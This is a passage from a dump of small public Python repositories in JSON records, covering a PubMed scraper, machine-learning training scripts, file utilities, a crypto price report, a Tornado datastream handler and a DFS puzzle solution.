\"http://scholar.google.com/scholar?start=\" + str(\r\n        page*10) + \"&q=\" + topic.replace(\" \", \"+\")\r\nresponse = requests.get(pub_url)\r\ntree = lxml.html.fromstring(response.text.encode('utf-8'))\r\ntitle_elem = tree.xpath(\"//*[@class='gs_rt']\")\r\nfor tit in title_elem:\r\n    print(tit.text_content())\r\n'''\r\n\r\n\r\nPI = \"LIN, XIHONG\"\r\naff = \"Harvard\"\r\npub_url = 'https://www.ncbi.nlm.nih.gov/pubmed/?term=' \\\r\n+ PI.replace(', ', '%2C+') + '%5BAuthor%5D+' + 'AND+' \\\r\n+ aff + '%5BAffiliation%5D'\r\n\r\nPI = 'VAN VACTOR, DAVID L.'\r\npub_url = 'https://www.ncbi.nlm.nih.gov/pubmed/?term=' \\\r\n+ PI.replace(', ', '%2C+').replace(' ', '+') + '%5BAuthor%5D+' + 'AND+' \\\r\n+ aff + '%5BAffiliation%5D'\r\n\r\npub_html = urllib.request.urlopen(pub_url).read()\r\nsoup = BeautifulSoup(pub_html, 'lxml') # Parse the HTML as a string\r\n\r\npart = soup.find('div', {'class': 'title_and_pager'})\r\ninfo = part.find('h3', {'class': \"result_count left\"})\r\nnum_results = info.text\r\n\r\naff = \"Harvard\"\r\nnums_pub = []\r\n\r\n\r\n#for test use\r\n'''\r\nfor aut in author_output:\r\n    author_srch = 'https://www.ncbi.nlm.nih.gov/pubmed/?term=' \\\r\n    + aut.replace(', ', '%2C+') + '%5BAuthor%5D+' + 'AND+' \\\r\n    + aff + '%5BAffiliation%5D'\r\n    \r\n    try:\r\n        author_html = urllib.request.urlopen(author_srch).read()\r\n        soup = BeautifulSoup(author_html, 'lxml') # Parse the HTML as a string\r\n        part = soup.find('div', {'class': 'title_and_pager'})\r\n        info = part.find('h3', {'class': \"result_count left\"})\r\n        num_results = info.text\r\n        num = num_results.split()[-1]\r\n        print(aut, num)\r\n        nums_pub.append(num)  \r\n    except:\r\n        nums_pub.append(1)\r\n        print(aut, 'entered paper page')\r\n        \r\ntest = np.array(nums_pub)      \r\nidx_error = np.where(test==\"-999\")\r\nprint(np.array(author_output)[idx_error])\r\n'''\r\n\r\n\r\ndef cnt_pub(name, lst_normal = True):\r\n#function that input names and output nmber of publications\r\n    \r\n    if lst_normal == True:    #if names are abnormal\r\n         name_srch = 'https://www.ncbi.nlm.nih.gov/pubmed/?term=' \\\r\n         + name.replace(', ', '%2C+') + '%5BAuthor%5D+' + 'AND+' \\\r\n         + aff + '%5BAffiliation%5D'    #establish link by last and first name\r\n         \r\n    else:    #if names are abnormal\r\n        name_srch = 'https://www.ncbi.nlm.nih.gov/pubmed/?term=' \\\r\n        + name.replace(', ', '%2C+').replace(' ', '+') + '%5BAuthor%5D+' + 'AND+' \\\r\n        + aff + '%5BAffiliation%5D'   #establish link by full name *including middle and initial)\r\n         \r\n    try:\r\n        author_html = urllib.request.urlopen(name_srch).read()\r\n        soup = BeautifulSoup(author_html, 'lxml') \r\n        part = soup.find('div', {'class': 'title_and_pager'})\r\n        info = part.find('h3', {'class': \"result_count left\"})\r\n        num_results = info.text    \r\n        #print(num_results)\r\n        num = num_results.split()[-1]    #locate the number only\r\n        \r\n    except:   #if error, publication set to 1 (automatically entered paper page)\r\n        num = 1\r\n        \r\n    return num\r\n         \r\n#print(cnt_pub('VAN VACTOR, DAVID L.', False))         #test function cnt_pub \r\n#print(cnt_pub('LIN, XIHONG', True))       \r\n \r\nnormal_pub_num = []    \r\nfor aut_it in author_output:     #loop through normal names and get number of publications\r\n    normal_pub_num.append(cnt_pub(aut_it))\r\n    \r\nab_pub_num = []\r\nfor aut_it in ab_name:     #loop through abnormal names and get number of publications\r\n    ab_pub_num.append(cnt_pub(aut_it, False))\r\n\r\nnormal_pub_data = pd.DataFrame({ 'Author' : author_output , \r\n                                'Number of Publications' : normal_pub_num})\r\nnormal_pub_data['Affliation'] = aff \r\n\r\nab_pub_data = pd.DataFrame({ 'Author' : ab_name , \r\n                                'Number of Publications' : ab_pub_num})\r\nab_pub_data['Affliation'] = aff \r\n\r\nnormal_pub_data.to_csv(r'''C:\\Users\\Bernard\\Desktop\\big data\\HW1\\Pubmed_normal.csv''')\r\nab_pub_data.to_csv(r'''C:\\Users\\Bernard\\Desktop\\big data\\HW1\\Pubmed_abnormal.csv''')\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"BoweiWei/PHP2650-HW1","sub_path":"HW1_question2.py","file_name":"HW1_question2.py","file_ext":"py","file_size_in_byte":7154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8551000051","text":"from Input import Dataset\nimport Input\nfrom Regression import Regression\nfrom Regression import LogisticRegression\nimport Preprocessing\nimport Validation\n\n\nif __name__ == '__main__':\n\n    # ----- DATASET -----\n\n    file = \"Dataset/candy.csv\"\n    data = Dataset(file)\n\n    # ----- FEATURES -----\n\n    X_indeces = [0,1,2,3,4,5,6,7,8,9]\n\n    # ----- TARGET -----\n\n    Y_index = [10]\n\n    # ----- PREPROCESSING -----\n\n    Preprocessing.show_statistics(data.dataset, X_indeces)\n\n    #outlier_removal = [5,6]\n    #data.dataset = Preprocessing.outlier_removal_quartiles(data.dataset, outlier_removal)\n\n    # ----- Z-SCORE  -----\n\n    normalization = Preprocessing.dataset_z_score(data, X_indeces)\n    means = normalization[1]\n    std_devs = normalization[2]\n\n    # ----- NORMALIZED DATASET -----\n\n    norm_file = file.replace(\".csv\", \"\") + \"_ZSCORED.csv\"\n    data = Dataset(norm_file)\n\n    # ----- SPLIT DATASET AND TEST SET -----\n\n    sets = Preprocessing.split_sets(data.dataset, 0.2)\n    dataset = sets[0]\n    testset = sets[1]\n\n    newsets = Preprocessing.split_sets(dataset, 0.125)\n\n    trainingset = newsets[0]\n    validationset = newsets[1]\n\n    # ----- DATA FROM DATASET  -----\n\n    trainingX = Input.giveme_cols(data.dataset, X_indeces)\n    trainingY = Input.giveme_cols(data.dataset, Y_index)\n\n    validationX = Input.giveme_cols(validationset, X_indeces)\n    validationY = Input.giveme_cols(validationset, Y_index)\n\n    testX = Input.giveme_cols(testset, X_indeces)\n    testY = Input.giveme_cols(testset, Y_index)\n\n    # ----- MODEL -----\n\n    alfa = 0.25\n    _lambda = 0\n    iterations = 1000\n\n    #Validation.learning_curves_values(dataset, X_indeces, Y_index)\n\n    training = LogisticRegression(trainingX,trainingY)\n    validation = LogisticRegression(validationX,validationY)\n    test = LogisticRegression(testX,testY)\n\n    #training.value_to_predict(5)\n    #validation.value_to_predict(5)\n    #test.value_to_predict(5)\n\n    test.thetas = training.batch_gradient_descent(alfa,_lambda,iterations)\n\n    test.confusion_indeces()\n\n\n    '''\n    # ---------- PRINT OF THE SOLUTION ----------\n\n    model.print_solution(thetas)\n\n    # ---------- MODELS VALIDATION ----------\n\n    print('\\n\\n')\n\n    trainingX = Input.giveme_cols(trainingset, X_indeces)\n    trainingY = Input.giveme_cols(trainingset, Y_index)\n\n    validationX = Input.giveme_cols(validationset, X_indeces)\n    validationY = Input.giveme_cols(validationset, Y_index)\n\n    lambdas = [0,1,3,5,7,10]\n    training_errors = list()\n    validation_errors = list()\n\n    for _lambda_ in lambdas:\n\n        alfa = 0.1\n        iterations = 1000\n\n        training = Regression(trainingX, trainingY)\n        thetas = training.batch_gradient_descent(alfa,_lambda_,iterations)\n        training_errors.append(training.cost_function(_lambda_))\n\n        validation = Regression(validationX,validationY)\n        validation.thetas = thetas\n        validation_errors.append(validation.cost_function(_lambda_))\n\n\n    print('CHOSEN LAMBDA', lambdas)\n    print('TRAINING ERRORS',training_errors)\n    print('VALIDATION ERRORS',validation_errors)\n    \n    '''","repo_name":"Sergio05Rule/ML","sub_path":"Regression_MatrixForm/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72380388304","text":"import tensorflow as tf\nimport keras\nfrom tensorflow.keras.datasets import cifar10\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D\nfrom tensorflow.keras.callbacks import TensorBoard\n\nimport numpy as np\nimport time\nimport pickle\n\n\n\nclass cnnFireDetectionModel(object):\n    def __init__(self):\n        super().__init__()\n        self.NAME = \"Fire-vs-Tree-CNN-adam\"\n        self.tensorboard = TensorBoard(log_dir=\"logs\\{}\".format(self.NAME))\n        self.opt = None\n        \n    def runModel (self, X, y):\n        X = X/ 255.0\n        y = np.array(y) # Need to move to step to other file\n\n        #opt = keras.optimizers.SGD(learning_rate=0.01, momentum=0.0, nesterov=False)\n\n        model = Sequential()\n\n        model.add(Conv2D(256, (3, 3), input_shape= X.shape[1:]))\n        model.add(Activation('relu'))\n        model.add(MaxPooling2D(pool_size=(2, 2)))\n\n        model.add(Conv2D(256, (3, 3)))\n        model.add(Activation('relu'))\n        model.add(MaxPooling2D(pool_size=(2, 2)))\n\n        model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors\n        model.add(Dense(64))\n        model.add(Activation('relu'))\n\n        model.add(Dense(1))\n        model.add(Activation('sigmoid'))\n\n        model.compile(loss='binary_crossentropy',\n                    optimizer='adam',\n                    metrics=['accuracy'])\n\n        model.fit(X, y, batch_size=32, epochs=15, validation_split=0.3, callbacks=[self.tensorboard])\n        \n        model.save('firedetector-adam-CNN.h5')\n    \n    def runModelOpt (self, X, y):\n        X = X/ 255.0\n        y = np.array(y) # Need to move to step to other file\n\n        dense_layers = [0, 1, 2]\n        layer_sizes = [32, 64, 128]\n        conv_layers = [1, 2, 3]\n\n        for dense_layer in dense_layers:\n            for layer_size in layer_sizes:\n                for conv_layer in conv_layers:\n                    name = \"Optimized-adam-model-{}-conv-{}-nodes-{}-dense-{}\".format(conv_layer, layer_size, dense_layer, int(time.time()))\n\n                    model = Sequential()\n\n                    model.add(Conv2D(layer_size, (3, 3), input_shape=X.shape[1:]))\n                    model.add(Activation('relu'))\n                    model.add(MaxPooling2D(pool_size=(2, 2)))\n\n                    for l in range(conv_layer-1):\n                        model.add(Conv2D(layer_size, (3, 3)))\n                        model.add(Activation('relu'))\n                        model.add(MaxPooling2D(pool_size=(2, 2)))\n\n                    model.add(Flatten())\n\n                    for _ in range(dense_layer):\n                        model.add(Dense(layer_size))\n                        model.add(Activation('relu'))\n\n                    model.add(Dense(1))\n                    model.add(Activation('sigmoid'))\n\n                    tensorboard = TensorBoard(log_dir=\"logs\\{}\".format(name))\n\n                    model.compile(loss='binary_crossentropy',\n                                optimizer='adam',\n                                metrics=['accuracy'],\n                                )\n\n                    model.fit(X, y,\n                            batch_size=32,\n                            epochs=40,\n                            validation_split=0.25,\n                            callbacks=[tensorboard])\n        \n        model.save('firedetector-64x3-CNN.h5')","repo_name":"alex-g-tejada/CS4347-ML-Project","sub_path":"cnnFireDetection/cnn_training_model.py","file_name":"cnn_training_model.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7684075003","text":"# def copy_file():\n#     f_origin = open('mybinary.bin','rb')\n#     f_copy = open('mybinaryCopy.bin','wb')\n#\n#     for s in f_origin:\n#         f_copy.write(s)\n#\n#\n#     f_origin.close()\n#     f_copy.close()\n#\n# copy_file()\n\ndef mycopy(src_filename,dst_filename):\n    try:\n        fr = open(src_filename, 'rb')\n        try:\n            try:\n                fw = open(dst_filename,'wb')\n                try:\n                    while True:\n                        b = fr.read(4096)\n                        if not b:\n                            break\n                        fw.write(b)\n                finally:\n                    fw.close()\n            except OSError:\n                print(\"目标文件打开失败\")\n        finally:\n            fr.close()\n    except OSError:\n        print(\"源文件打开失败\")\n\nmycopy('mybinary.bin','mybinaryCopy.bin')","repo_name":"drakhero/python_base","sub_path":"file/homework3.py","file_name":"homework3.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24650518239","text":"import os\nimport requests\nimport tarfile\nimport tempfile\nimport subprocess\n\n\ndef get_latest_rrrocket_release():\n    release_info = requests.get('https://api.github.com/repos/nickbabcock/rrrocket/releases/latest')\n\n    if release_info.status_code != 200:\n        return 'Failed to retrieve from github.'\n\n    release_info = release_info.json()\n\n    for asset in release_info['assets']:\n        if 'linux' in asset['browser_download_url'].lower():\n            file_data = requests.get(asset['browser_download_url'])\n\n            if file_data.status_code != 200:\n                return 'Failed to retrieve file contents.'\n\n            out_file_path = os.path.join(tempfile.gettempdir(), asset[\"name\"])\n            with open(out_file_path, 'wb') as out_file:\n                out_file.write(file_data.content)\n\n            with tarfile.open(out_file_path) as tarball:\n                file_names = tarball.getnames()\n                output_file = file_names[-1]\n                output_dir = file_names[0]\n                tarball.extractall(tempfile.gettempdir())\n\n            os.remove(out_file_path)\n\n            out_path = os.path.join(tempfile.gettempdir(), 'rrrocket')\n            if os.path.exists(out_path):\n                os.remove(out_path)\n\n            os.rename(os.path.join(tempfile.gettempdir(), output_file), out_path)\n            os.rmdir(os.path.join(tempfile.gettempdir(), output_dir))\n\n            return out_path\n","repo_name":"Pumph0use/rrrocket_daisi","sub_path":"rrrocket_retriever.py","file_name":"rrrocket_retriever.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2264601795","text":"#SalaryCalc\nimport sys\n\ndef main():\n    hours = int(sys.argv[1])\n    normal = float(sys.argv[2])\n    overtime = float(sys.argv[3])\n\n    if hours <= 40:\n        normalsalary = hours * normal\n        extrasalary = 0\n        totalsalary = normalsalary\n    elif hours > 40 and hours < 168:\n        normalsalary = (40 * normal)\n        extrasalary = ((hours-40) * overtime)\n        totalsalary = normalsalary + extrasalary\n    elif hours > 168:\n        print(\"Your input is invalid!\")\n        return\n\n    print(\"Normal Salary:%.02f,\"%normalsalary, \"Extra Salary:%.02f,\"%extrasalary, \"Total Salary:%.02f\"%totalsalary)\n\nif __name__ == '__main__':\n    if len(sys.argv) < 4:\n        print(\"Don't scam!\")\n        sys.exit()\n    main()\n","repo_name":"umamififty/SIT_ICT1002","sub_path":"Lab 1/Weekly Payment Calculator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9283939055","text":"import json\r\n\r\nimport requests\r\n\r\nfrom config import currency\r\n\r\n\r\nclass ConversionException(Exception):\r\n    pass\r\n\r\n\r\nclass CryptoConverter:\r\n    @staticmethod\r\n    def convert(values):\r\n        base, quote, amount = values  # [0], values[1], values[2]\r\n        if base == quote:\r\n            raise ConversionException('Введены одинаковые валюты')\r\n        try:\r\n            base_ticker = currency[base]\r\n        except KeyError:\r\n            raise ConversionException(f'Невозможно обработать валюту{base}')\r\n        try:\r\n            quote_ticker = currency[quote]\r\n        except KeyError:\r\n            raise ConversionException(f'Невозможно обработать валюту{quote}')\r\n        try:\r\n            amount = float(amount)\r\n        except ValueError:\r\n            raise ConversionException('Для обмена надо ввести число. Это не число.')\r\n        r = requests.get(\r\n            f'https://min-api.cryptocompare.com/data/price?fsym={base_ticker}&tsyms={quote_ticker}')  # ,EUR')\r\n        # text=r.content\r\n        rate = json.loads(r.content)[currency[quote]]\r\n\r\n        return rate\r\n    @staticmethod\r\n    def get_rate(values):\r\n        base, quote, amount = values\r\n        rate = CryptoConverter.convert(values)\r\n        text = f'💰 Курс {base} к {quote} = {rate}\\n'\r\n        return text\r\n\r\n","repo_name":"SkipperVV/TelegrammBot","sub_path":"extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"24273977356","text":"class Nodo:\r\n    def __init__(self,dato,oponente,totalTiros,tirosAcertados,tirosFallados,gano,damage):\r\n        self.dato=dato\r\n        self.oponente=oponente\r\n        self.totalTiros=totalTiros\r\n        self.tirosAcertados=tirosAcertados\r\n        self.tirosFallados=tirosFallados\r\n        self.damage=damage\r\n        self.gano=gano\r\n        self.siguiente=None\r\n        self.anterior=None","repo_name":"LuisMorales25/ProyectoJunio2017_201503612","sub_path":"Estructuras/NodoListaDoble.py","file_name":"NodoListaDoble.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"5149971121","text":"import json\n\nfrom decimal import Decimal\nfrom marklogic.documents import Document\nfrom marklogic.internal.util import response_has_no_content\nfrom requests import Response\nfrom requests_toolbelt.multipart.decoder import MultipartDecoder\n\n\"\"\"\nSupports working with data returned by the v1/eval and v1/invoke endpoints.\n\"\"\"\n\n\ndef process_multipart_mixed_response(response: Response) -> list:\n    \"\"\"\n    Process a multipart REST response by putting them in a list and\n    transforming each part based on the \"X-Primitive\" header.\n\n    :param response: The original multipart/mixed response from a call to a\n    MarkLogic server.\n    \"\"\"\n    if response_has_no_content(response):\n        return None\n\n    parts = MultipartDecoder.from_response(response).parts\n    transformed_parts = []\n    for part in parts:\n        encoding = part.encoding\n        header = part.headers[\"X-Primitive\".encode(encoding)].decode(encoding)\n        primitive_function = __primitive_value_converters.get(header)\n        if primitive_function is not None:\n            transformed_parts.append(primitive_function(part))\n        else:\n            # Return the binary created by requests_toolbelt so we don't get an\n            # error trying to convert it to something else.\n            transformed_parts.append(part.content)\n    return transformed_parts\n\n\n__primitive_value_converters = {\n    \"integer\": lambda part: int(part.text),\n    \"decimal\": lambda part: Decimal(part.text),\n    \"boolean\": lambda part: \"False\" == part.text,\n    \"string\": lambda part: part.text,\n    \"map\": lambda part: json.loads(part.text),\n    \"element()\": lambda part: part.text,\n    \"array\": lambda part: json.loads(part.text),\n    \"array-node()\": lambda part: json.loads(part.text),\n    \"object-node()\": lambda part: __process_node(\n        part, lambda part: json.loads(part.text)\n    ),\n    \"document-node()\": lambda part: __process_node(part, lambda part: part.text),\n    \"binary()\": lambda part: __process_node(part, lambda part: part.content),\n}\n\n\ndef __process_node(part, content_extractor):\n    content = content_extractor(part)\n    if b\"X-URI\" in part.headers:\n        encoding = part.encoding\n        uri = part.headers[\"X-URI\".encode(encoding)].decode(encoding)\n        return Document(uri, content)\n    else:\n        return content\n","repo_name":"marklogic/marklogic-python-client","sub_path":"marklogic/internal/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"21284997309","text":"import tornado.web\nimport cachetools\n\n# NOC modules\nfrom noc.core.service.apiaccess import APIAccessRequestHandler, authenticated\n\n\n@cachetools.cached\ndef get_format_role(ds, fmt):\n    return ds.get_format_role(fmt)\n\n\nclass DataStreamRequestHandler(APIAccessRequestHandler):\n    def initialize(self, service, datastream):\n        self.service = service\n        self.datastream = datastream\n\n    def get_access_tokens_set(self):\n        tokens = {\"datastream:*\", f\"datastream:{self.datastream.name}\"}\n        fmt = self.get_arguments(\"format\")\n        if fmt:\n            role = get_format_role(self.datastream, fmt[0])\n            if role:\n                tokens.add(\"datastream:%s\" % role)\n        return tokens\n\n    @authenticated\n    async def get(self, *args, **kwargs):\n        # Get limits.\n        p_limit = self.get_arguments(\"limit\") or [0]\n        limit = int(p_limit[0]) or self.datastream.DEFAULT_LIMIT\n        # Increase limit by 1 to detect datastream has more data\n        limit = min(limit, self.datastream.DEFAULT_LIMIT) + 1\n        # Collect filters\n        filters = self.get_arguments(\"filter\") or []\n        ids = self.get_arguments(\"id\") or None\n        if ids:\n            filters += [\"id(%s)\" % \",\".join(ids)]\n        # Start from change\n        change_id = self.get_arguments(\"from\")\n        if change_id:\n            change_id = change_id[0]\n        else:\n            change_id = None\n        # Format\n        fmt = self.get_arguments(\"format\")\n        if fmt:\n            fmt = fmt[0]\n        else:\n            fmt = None\n        # block argument\n        p_block = self.get_arguments(\"block\")\n        to_block = bool(p_block) and bool(int(p_block[0]))\n        first_change = None\n        last_change = None\n        nr = 1\n        while True:\n            r = []\n            try:\n                for item_id, change_id, data in self.datastream.iter_data(\n                    limit=limit, filters=filters, change_id=change_id, fmt=fmt\n                ):\n                    if not first_change:\n                        first_change = change_id\n                    last_change = change_id\n                    r += [data]\n                    nr += 1\n                    if nr == limit:\n                        break  # Skip last additional item\n            except ValueError:\n                raise tornado.web.HTTPError(400)\n            if to_block and not r:\n                await self.service.wait(self.datastream.name)\n            else:\n                break\n        self.set_header(\"Cache-Control\", \"no-cache\")\n        self.set_header(\"Content-Type\", \"application/json\")\n        self.set_header(\"X-NOC-DataStream-Total\", str(self.datastream.get_total()))\n        self.set_header(\"X-NOC-DataStream-Limit\", str(limit))\n        if first_change:\n            self.set_header(\"X-NOC-DataStream-First-Change\", str(first_change))\n        if last_change:\n            self.set_header(\"X-NOC-DataStream-Last-Change\", str(last_change))\n        if nr == limit:\n            self.set_header(\"X-NOC-DataStream-More\", \"1\")\n        resp = \",\".join(r)\n        self.write(f\"[{resp}]\")\n","repo_name":"sbworth/getnoc","sub_path":"services/datastream/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"34369781538","text":"\"\"\"\nUtils\n\"\"\"\n\nimport subprocess\nimport re\n\n\ndef is_running(process):\n    \"\"\"True if process is running, string matching\"\"\"\n    try:  # Linux/Unix\n        with subprocess.Popen([\"ps\", \"axw\"], stdout=subprocess.PIPE) as sout:\n            for proc in sout.stdout:\n                if re.search(process, str(proc)):\n                    return True\n    except subprocess.SubprocessError():  # Windows\n        with subprocess.Popen([\"tasklist\", \"/v\"], stdout=subprocess.PIPE) as sout:\n            for proc in sout.stdout:\n                if re.search(process, str(proc)):\n                    return True\n    return False\n","repo_name":"c0d5x/wallpaper_manager","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"3614422275","text":"from dataclasses import dataclass\r\nfrom datetime import datetime\r\nfrom .apiprep import Apiprep\r\nimport json\r\n\r\n\r\nclass DataCrawler:\r\n\r\n    def sortDatafromAPI(self, symbol: str, need: str, limit: int, *other: str) -> dict:\r\n        '''Function for modifiing the given data from criptomarketcap api or from a file\r\n         returning a dictionary with the needed data'''\r\n        if limit:\r\n            api = Apiprep(limit)\r\n            data = api.call_api()\r\n        else:\r\n            api = Apiprep()\r\n            data = api.call_api()\r\n\r\n        temp_dict: dict = {}\r\n        if not other:\r\n            for crypto in data:\r\n                temp_dict.update(\r\n                    {crypto[symbol]: crypto[\"quote\"][\"USD\"][need]})\r\n        else:\r\n            for crypto in data:\r\n                temp_dict.update(\r\n                    {crypto[symbol]: {need: crypto[\"quote\"][\"USD\"][need]}})\r\n                for args in other:\r\n                    if args not in crypto.keys():\r\n                        temp_dict[crypto[symbol]\r\n                                  ][args] = crypto['quote']['USD'][args]\r\n                    else:\r\n                        temp_dict[crypto[symbol]][args] = crypto[args]\r\n        return temp_dict\r\n\r\n    def get_best_volume_crypto(self) -> dict[str, float]:\r\n        '''This Function is for finding the best volume cryptoccurrences from the api'''\r\n        this_dict = self.sortDatafromAPI(\"symbol\", \"volume_24h\", 1000)\r\n        max_value = max(this_dict, key=this_dict.get)\r\n        return {max_value: this_dict[max_value]}\r\n\r\n    def get_top20_crypto(self) -> dict:\r\n        '''This function will return a dictionary containg the top 20 cryptoccurrences\r\n        and the value of: actual prcice, percentage change 24h and rank'''\r\n\r\n        get_dict = self.sortDatafromAPI(\r\n            'symbol', 'price', 20, 'percent_change_24h', 'cmc_rank')\r\n        top20_crypto: dict = {}\r\n        for crypto in get_dict:\r\n            top20_crypto.update({crypto: {\r\n                                \"price\": get_dict[crypto][\"price\"], \"percent_change_24h\": get_dict[crypto][\"percent_change_24h\"], }})\r\n        return top20_crypto\r\n\r\n    def get_top76M_cost(self) -> dict:\r\n        money: float = 0\r\n        get_dict: dict = self.sortDatafromAPI(\r\n            'symbol', 'volume_24h', 1000, 'price')\r\n        for crypto in get_dict:\r\n            if get_dict[crypto]['volume_24h'] > 76000000:\r\n                money += get_dict[crypto][\"price\"]\r\n\r\n        return {\"money_top_volume\": money}\r\n\r\n    def get_top10(self):\r\n        '''this function is for getting the top 10 cryptos by percentage change in 24h'''\r\n        temp_dict: dict = self.sortDatafromAPI(\r\n            'symbol', 'percent_change_24h', 2000)\r\n        top10: dict = {}\r\n        for j in sorted(temp_dict.items(), key=lambda x: x[1], reverse=True):\r\n\r\n            if len(top10) < 10:\r\n                top10[j[0]] = j[1]\r\n        return top10\r\n\r\n    def get_worst10(self):\r\n        temp_dict: dict = self.sortDatafromAPI(\r\n            'symbol', 'percent_change_24h', 2000)\r\n        worst10: dict = {}\r\n\r\n        for k in sorted(temp_dict.items(), key=lambda x: x[1]):\r\n\r\n            if len(worst10) < 10:\r\n                worst10[k[0]] = k[1]\r\n        return worst10\r\n\r\n    def get_top20_cost(self):\r\n        '''this function return a dictionary with the total unity cost for each top 20 crypto'''\r\n        temp_dict = self.sortDatafromAPI('symbol', 'price', 20,)\r\n        today_price_top20 = 0\r\n        for s in temp_dict:\r\n            today_price_top20 += temp_dict[s]\r\n\r\n        return {\"money_to_buy_top20\": today_price_top20}\r\n\r\n    def get_earn_loss(self):\r\n        '''function to return the earn or loss percentage if buy a unity of the top 20 crypto the day before'''\r\n        data = self.sortDatafromAPI('symbol', 'percent_change_24h', 20, 'price')\r\n        temp_dict = self.get_top20_cost()\r\n        percent_change_24h = 0\r\n        yesterday_price = 0\r\n        earn_loss_percent = 0\r\n        price = 0\r\n\r\n        for s in data:\r\n            percent_change_24h = data[s][\"percent_change_24h\"]\r\n            price = data[s]['price']\r\n\r\n            yesterday_price += price / (1 + (percent_change_24h / 100))\r\n\r\n        earn_loss_percent = (\r\n            (temp_dict['money_to_buy_top20'] - yesterday_price) / yesterday_price) * 100\r\n\r\n        return {\r\n            \"earn_loss_percent\": earn_loss_percent,\r\n            \"money_spent_yesterday\": yesterday_price,\r\n        }\r\n\r\n\r\n\r\n\r\ndef json_dump():\r\n    '''simple function for wrapping all data and dump a json file'''\r\n    try:\r\n        data = DataCrawler()\r\n        time = datetime.now().strftime(\"%Y-%m-%d %H.%M.%S\")\r\n\r\n        json_output = {\r\n            \"top_20\": data.get_top20_crypto(),\r\n            \"top_20_cost\": data.get_top20_cost(),\r\n            \"best_volume_24h\": data.get_best_volume_crypto(),\r\n            \"best_10\": data.get_top10(),\r\n            \"worst_10\": data.get_worst10(),\r\n            \"money_to_buy_top_76M\": data.get_top76M_cost(),\r\n            \"earn_loss\": data.get_earn_loss(), \r\n        }\r\n\r\n        with open(f\"{time}.json\", \"w\", encoding=\"utf-8\") as output:\r\n            json.dump(json_output, output, ensure_ascii=False, indent=4)\r\n    except:\r\n        print(\"Error\")\r\n\r\n","repo_name":"Kaido997/Crypto_report","sub_path":"package/Crypto_report.py","file_name":"Crypto_report.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"16873938149","text":"'''\n★기출 19. 연산자 끼워 넣기★\nN개의 수로 이루어진 수열이 주어집니다. 또 수와 수 사이에 끼워 넣을 수 있는 N-1개의 연산자가\n주어집니다. 연사자는 덧셈, 뺄셈, 곱셈, 나눗셈으로만 이루어져 있습니다. 주어진 수의 순서를\n바꾸면 안됩니다. 식의 계산은 연산자 우선순위를 무시하고 앞에서부터 진행해야 합니다. 또 나눗셈은\n정수 나눗셈으로 몫만 취합니다. N개의 수와 N-1개의 연산자가 주어졌을 때, 만들 수 있는 식의 결과가\n최대인 것과 최소인 것을 구하는 프로그램을 작성하세요\n\n이 문제는 최대 11개의 수가 주어졌을 때, 각 수와 수 사이에 사칙연산 중 하나를 삽입하는\n모든 경우에 대해 만들어질 수 있는 결과의 최댓값 및 최솟값을 구하면 된다. 따라서 모든 경우의 수를\n계산하기 위하여 완전탐색을 이용하여 문제를 해결할 수 있다. 이 문제에서는 각 사칙연산을 중복하여\n사용할 수 있기 때문에, 이 문제를 풀기 위해서는 중복 순열을 계산해야 한다. 본 문제에 대한 정답\n소스코드는 itertools의 중복 순열(product) 클래스를 사용하지 않고 DFS를 이용하여 풀겠다.\n'''\n# A19\nn = int(input())\n# 연산을 수행하고자 하는 수 리스트\ndata = list(map(int, input().split()))\n# 더하기, 빼기, 곱하기, 나누기 연산자 개수\nadd, sub, mul, div = map(int, input().split())\n\n# 최솟값과 최댓값 초기화\nmin_value = 1e9\nmax_value = -1e9\n\n# 깊이 우선 탐색(DFS) 메서드\ndef dfs(i, now):\n  global min_value, max_value, add, sub, mul, div\n  # 모든 연산자를 다 사용한 경우, 최솟값과 최댓값 업데이트\n  if i == n:\n    min_value = min(min_value, now)\n    max_value = max(max_value, now)\n  else:\n    # 각 연산자에 대하여 재귀적으로 수행\n    if add > 0:\n      add -= 1\n      dfs(i + 1, now + data[i])\n      add += 1\n    if sub > 0:\n      sub -= 1\n      dfs(i + 1, now - data[i])\n      sub += 1\n    if mul > 0:\n      mul -= 1\n      dfs(i + 1, now * data[i])\n      mul += 1\n    if div > 0:\n      div -= 1\n      dfs(i + 1, int(now / data[i]))\n      div += 1\n\n# DFS 메서드 호출\ndfs(1, data[0])\n\n# 최댓값과 최솟값 차례대로 출력\nprint(max_value)\nprint(min_value)\n    \n","repo_name":"minzihun/algorithm-practice","sub_path":"This is the 